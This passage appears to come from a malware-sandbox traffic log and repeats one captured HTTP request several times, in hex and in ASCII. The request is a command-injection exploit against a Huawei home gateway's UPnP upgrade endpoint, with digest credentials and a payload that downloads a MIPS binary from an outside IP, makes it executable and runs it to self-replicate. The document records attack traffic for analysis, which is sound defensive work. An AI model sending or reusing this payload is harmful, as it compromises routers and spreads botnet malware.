huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
